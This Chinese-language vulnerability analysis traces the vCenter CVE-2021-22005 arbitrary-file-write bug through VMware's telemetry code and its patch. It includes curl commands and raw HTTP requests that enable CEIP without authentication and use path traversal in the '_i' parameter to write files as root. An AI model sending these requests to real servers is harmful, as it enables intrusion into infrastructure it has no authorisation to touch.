|
原文链接:CVE-2021-22005-CEIP分析
2021-09-21补丁修复了如下一系列漏洞,其中CVE-2021-22005评分最高,可getshell,网上也有该漏洞的poc,所以接下来也对该漏洞做进一步分析。
- CVE-2021-22005 vCenter Server 任意文件上传(CVSSv3评分9.8)
- CVE-2021-21991:vCenter Server 本地提权漏洞(CVSSv3评分8.8)
- CVE-2021-22006:vCenter Server 反向代理绕过漏洞(CVSSv3评分8.3)
- CVE-2021-22011:vCenter Server未经身份验证的 API 端点漏洞(CVSSv3评分8.1)
- CVE-2021-22015:vCenter Server 本地提权漏洞(CVSSv3评分7.8)
- CVE-2021-22012:vCenter Server 未经身份验证的 API 信息泄露漏洞(CVSSv3评分7.5)
- CVE-2021-22013:vCenter Server 路径遍历漏洞(CVSSv3评分7.5)
- CVE-2021-22016:vCenter Server 反射型 XSS 漏洞(CVSSv3评分7.5)
- CVE-2021-22017:vCenter Server rhttpproxy 绕过漏洞(CVSSv3评分7.3)
- CVE-2021-22014:vCenter Server 身份验证代码执行漏洞(CVSSv3评分7.2)
- CVE-2021-22018:vCenter Server 文件删除漏洞(CVSSv3评分6.5)
- CVE-2021-21992:vCenter Server XML 解析拒绝服务漏洞(CVSSv3评分6.5)
- CVE-2021-22007:vCenter Server 本地信息泄露漏洞(CVSSv3评分5.5)
- CVE-2021-22019:vCenter Server 拒绝服务漏洞(CVSSv3评分5.3)
- CVE-2021-22009:vCenter Server VAPI 拒绝服务漏洞(CVSSv3评分5.3)
- CVE-2021-22010:vCenter Server VPXD 拒绝服务漏洞(CVSSv3评分5.3)
- CVE-2021-22008:vCenter Server 信息泄露漏洞(CVSSv3评分5.3)
- CVE-2021-22020:vCenter Server Analytics 服务拒绝服务漏洞(CVSSv3评分5.0)
- CVE-2021-21993:vCenter Server SSRF 漏洞(CVSSv3评分4.3)
复制代码

参考任意文件上传
https://censys.io/blog/vmware-cv ... al-impact-analysis/
https://github.com/knownsec/pocs ... d_CVE-2021-20050.py
https://testbnull.medium.com/qui ... -22005-4337d5a817ee
https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw
https://mp.weixin.qq.com/s/Jwp4GWKRO4H_AopqJSrBWw
官方提供的测试脚本,算是一个漏洞扫描+临时补丁
https://kb.vmware.com/sfc/servle ... /0685G00000YTpbRQAT
根据提示漏洞接口应该如下
- rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
- headers={"Content-Type": "application/json"}, data="lorem ipsum")
- /analytics/ph/api/dataapp/agent?_c=test&_i=1
- /analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1
- /analytics/telemetry/ph/api/hyper/send
- /analytics/ph/api/dataapp/agent
复制代码

vmware公开的poc
 
- curl -X POST "https://localhost/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
- # 实际接口
- curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
- # CEIP是否开启
- curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=test"
- # 请求
- curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/stuff" -H "Content-Type: application/json" -d ""
- # 创建一个json文件
- /var/log/vmware/analytics/prod/_c_i/stuff.json
- # 目录遍历
- curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H "Content-Type: application/json" -d "contents here will be directly written to /tmp/foo.json as root"
- curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
复制代码
影响范围- vCenter Server 7.0 < 7.0 U2c
- vCenter Server 6.7 < 6.7 U3o
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 Windows 不受影响
复制代码

漏洞分析TelemetryLevelBasedTelemetryServiceWrapper请求入口根据poc提示接口/analytics/telemetry/ph/api/hyper/send,找到对应的类
- analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class
复制代码
这个类是springboot的controller,找到漏洞URI,可以看到提交的两个参数_c和_i对应的是collectorId和collectorInstanceId
 
继续跟踪到TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry
TelemetryLevelBasedTelemetryServiceWrapper是在AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable类里调用,这个类是Runnable实现类,用于多线程调用,所以通过该类的run方法进一步跟踪到processTelemetry的。
生成一个Telemetrylevel对象,TelemetryLevel是一个枚举类型,这里会判断TelemetryLevel.OFF是否不等,继续看一下OFF是怎么设置的
- public enum TelemetryLevel {
- OFF,
- BASIC,
- FULL;
- private TelemetryLevel() {
- }
- }
复制代码
 
调用堆栈
- processTelemetry:44, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
- run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
- call:511, Executors$RunnableAdapter (java.util.concurrent)
- run:266, FutureTask (java.util.concurrent)
- runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
- run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
- run:748, Thread (java.lang)
复制代码


ceipgetTelemetryLevel
- getTelemetryLevel:56, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
- processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
- run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
- call:511, Executors$RunnableAdapter (java.util.concurrent)
- run:266, FutureTask (java.util.concurrent)
- runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
- run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
- run:748, Thread (java.lang)、
复制代码
DefaultTelemetryLevelService
 
其实ceip是客户体验提升计划,不一定开启。点击加入开启后,其实对提交的_C是有要求的
 
如下_C为111返回还是off,所以参数有要求的

查看漏洞利用目录/var/log/vmware/analytics/prod下有一个json文件

其实是如此拼接成的,所以
_c + vSphere.vapi.6_7 + _i + 9D36C850-1612-4EC4-B8DD-50BA239A25BB.json
再次测试可发现返回FULL了

或者通过该接口请求测试是否正常,这个请求会生成ceip缓存,后续请求就不会再发送ceip到vmware了。
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7" 这里再继续分析下getTelemetryLevel,他会先判断ceip是否开启,如果没开启,则直接返回OFF,如果为true,则进行判断。
这里有个变量this._collectorToTelemetryLevelCache来存储collectorAgent对象(基于_c和_i生成),如果缓存里有了,就不会再次发遥测请求,_collectorToTelemetryLevelCache在这里是SimpleTimeBasedCacheImpl类,内部实际存储collectorAgent是用的hashmap。
 
 
这里通过get获取key(即collectorAgent),所以看看hashCode怎么实现的。
其实可以看到和_collectorId和_collectorInstanceId都相关。
- public int hashCode() {
- int hash = this._collectorId.hashCode();
- if (this._collectorInstanceId != null) {
- hash = hash * 31 + this._collectorInstanceId.hashCode();
- }
- return hash;
- }
复制代码
做个测试,_c和_i,如下就是不同缓存
- CollectorAgent c1 = new CollectorAgent("vSphere.vapi.6_7", "c1");
- CollectorAgent c2 = new CollectorAgent("vSphere.vapi.6_7", "c2");
- this._collectorToTelemetryLevelCache.put(c1, telemetryLevel);
- this._collectorToTelemetryLevelCache.get(c2);
复制代码

 
getTelemetryLevelFromManifest
- getTelemetryLevelFromManifest:82, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
- getTelemetryLevel:69, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
- processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
- run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
- call:511, Executors$RunnableAdapter (java.util.concurrent)
- run:266, FutureTask (java.util.concurrent)
- runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
- run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
- run:748, Thread (java.lang)
复制代码

 
那么再看看DefaultTelemetryLevelService#getTelemetryLevelFromManifest怎么发送遥测请求的,代码如下
 
manifestContentProvider.getManifestContent请求返回有以下几种情况
- collectorId和collectorInstanceId随机,抛出异常,INVALID_COLLECTOR_ERROR,这里提示collectors ID不在白名单内
 
- collectorId为vSphere.vapi.6_7,抛出异常,GENERAL_ERROR,404
 
- 再第一次请求后,如果修改参数_i(collectorInstanceId),后续二次请求都会报这个错
 
上面请求最终跟踪到如下位置com.vmware.ph.upload.rest.PhRestClientImpl#getManifest,GET请求
 
手动发送,和之前获取的确实一样。
 
有效请求

PS: 这里在处理返回数据,会调用json进行反序列化,转换成com.vmware.ph.model.exceptions.ServiceException

DefaultTelemetryLevelService#getTelemetryLevelFromManifest,我们看下抛出异常后再次调用getTelemetryLevelForFailedManifestRetrieval,如果异常是INVALID_COLLECTOR_ERROR,那么直接返回OFF,如果不是就返回FULL,defaultTelemetryLevel初始化的时候为FULL。
所以如果首次请求的collectorId不对,那么即时开了ceip也是无法利用成功,但第二次还是可以成功,所以网上一些分析文章collectorId随机也是可以用的,但如果之前没有发送过遥测请求,就会利用失败,所以建议collectorId还是设置一个有效的。

开启ceip
经过测试,开启CEIP的接口无认证要求,可未授权访问
curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"PS: 但上面这个测试如果系统启动后没有登录过,请求不会成功
调试发现,虽然接口请求不需要认证,但修改操作仍然需要session,只有在有人登录过,这个未授权请求才能生效。
 
该请求对应的类在./plugin-packages/telemetry/plugins/h5-ceip.war
com.vmware.vsphere.client.h5.ceip.controller.CeipController

还有其他两个接口
- GET /ui/ceip-ui/ctrl/ceip/status
- GET /ui/ceip-ui/ctrl/ceip/isAuthorized"
复制代码

LogTelemetryService所以看来CEIP没有比较好的方案开启了。
- processTelemetry:56, LogTelemetryService (com.vmware.ph.phservice.push.telemetry)
- processTelemetry:45, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
- run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
- call:511, Executors$RunnableAdapter (java.util.concurrent)
- run:266, FutureTask (java.util.concurrent)
- runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
- run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
- run:748, Thread (java.lang)
复制代码
 
当ceip开启,继续跟踪到com/vmware/ph/phservice/push/telemetry/LogTelemetryService#processTelemetry,
 
日志目录是/var/log/vmware/analytics/prod
 
日志文件名则是,可以看到
_c%1$s_i%2$s
 
继续往下就是日志记录,this._logger可以看到日志路径,而serializeToLogMessage(telemetryRequest)就是POST请求的body数据
 
那么当请求参数_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/foo
则拼接为/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json
但如果_cvSphere.vapi.6_7_i不存在,则会目录遍历失败,这个是linux的问题,所以必须先请求一次_c=vSphere.vapi.6_7&_i=/temp,log4j会创建目录,然后再请求上面URL,实现目录遍历。

PS: prod目录默认也是没有的,vcenter自身正常会创建这个prod目录,但ceip没开启之前,是没有的,所以建议也请求下正常的参数。
创建prod目录
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 3
- {}
复制代码
创建_cvSphere.vapi.6_7_i目录
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 3
- {}
复制代码
由于后缀只能是json,所以无法直接写文件,那么可以写到一个可执行文件内容的路径,这个大家就自行发挥想象力找找linux上可执行的方法了。
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 4
- test
复制代码
整理思路- AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口,接收_c和_i参数
- 调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求,,成功后进一步处理_c和_i
- processTelemetry里调用this._telemetryLevelService.getTelemetryLevel来判断ceip遥测请求是否正常,这里也会传入_c和_i,如果开启成功可获取一个FULL值,除了需要开启ceip,还会对vmware的一个API接口发送请求,,需要注意的一点,如果之前没发起遥测请求,则对_c参数有要求,必须是一个合法的值,如果已经请求过,后续因为有缓存,不会再请求,则可成功通过校验。
- 如果ceip未开启,可通过/ui/ceip-ui/ctrl/ceip/status/true开启,但vcenter之前需要有人已经登录过一次,否则会出现接口未认证的报错。
- ceip请求成功后,processTelemetry接着调用LogTelemetryService#processTelemetry来解析_c和_i,log4j通过_c$s_i$s格式拼接日志路径,_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件,当_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test最终路径拼接如/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json,这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。
验证返回201表示漏洞存在
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
- Host: 192.168.111.11
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
- Content-Length: 11
- Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
- Content-Type: application/json
- Accept-Encoding: gzip, deflate
- Connection: close
- lorem ipsum
复制代码
第一步判断ceip
- # 修改ceip
- curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"
- # 判断ceip是否启动
- curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
复制代码
 
 
/var/log/vmware/analytics/prod创建 prod和_cvSphere.vapi.6_7_i
_i参数每次都要修改,因为文件如果被删除,就不会再次被创建了
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=temp HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 3
- {}
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 3
- {}
复制代码
写任意路径文件
- POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
- Host: 192.168.111.11
- Connection: close
- Accept-Encoding: gzip, deflate
- Accept: */*
- User-Agent: Mozilla/5.0
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- X-Deployment-Secret: abc
- Content-Length: 4
- test
复制代码
补丁分析补丁包
VMware-analytics-6.7.0-18408195.x86_64.rpm,解压出来就是各种jar包和其他一些配置文件,对比jar包,定位到如下
 
对比补丁,补丁在AsyncTelemetryController#handleSendRequest里新增了一个条件判断
 
判断语句
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="247" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)%20%26%26%20AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) && AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p></p>
复制代码
IdFormatUtil.class在analytics-6.7.0.jar里
collectorInstanceId正则过滤[\\w-]{1,64} =[A-Za-z0-9_-]{1,64},如9D36C850-1612-4EC4-B8DD-50BA239A25BB,没法使用.和/,所以这个绕不过了
collectorId [a-zA-Z][\w-\.]{1,40}[a-zA-Z0-9], 如vSphere.vapi.6_7,也没法使用/,但没调用。
 
collectorId是用一个白名单,需要调试才能最终确定白名单内容,但根据上面的正则也能大致猜测,这里的白名单估计和之前ceip 遥测请求的API接口是一样的。
this._collectorIdWhitelist为在控制器初始化的传入
 
另外除了公开的漏洞利用点之外,AsyncTelemetryController还有两个私有类也有patch,都是Callable的实现类(即多线程),这里会检查collectorId
 
另一个和之前漏洞点判断是一样的。
 
那么是否可以找到其他没做过滤的telemetryService.processTelemetry调用点,在这之前其实还需要检查下processTelemetry内部是否还有patch。
这里调用的实现类是TelemetryLevelBasedTelemetryServiceWrapper,另一个相关的是LogTelemetryService
TelemetryLevelBasedTelemetryServiceWrapper在analytics-6.7.0.jar里,但对比了补丁,没发现直接的改动。
但有其他几处DataAppAgentId做了相同的过滤,这就涉及到另一个漏洞点了。
LogTelemetryService在同个包里,也没做修改。
 
|
|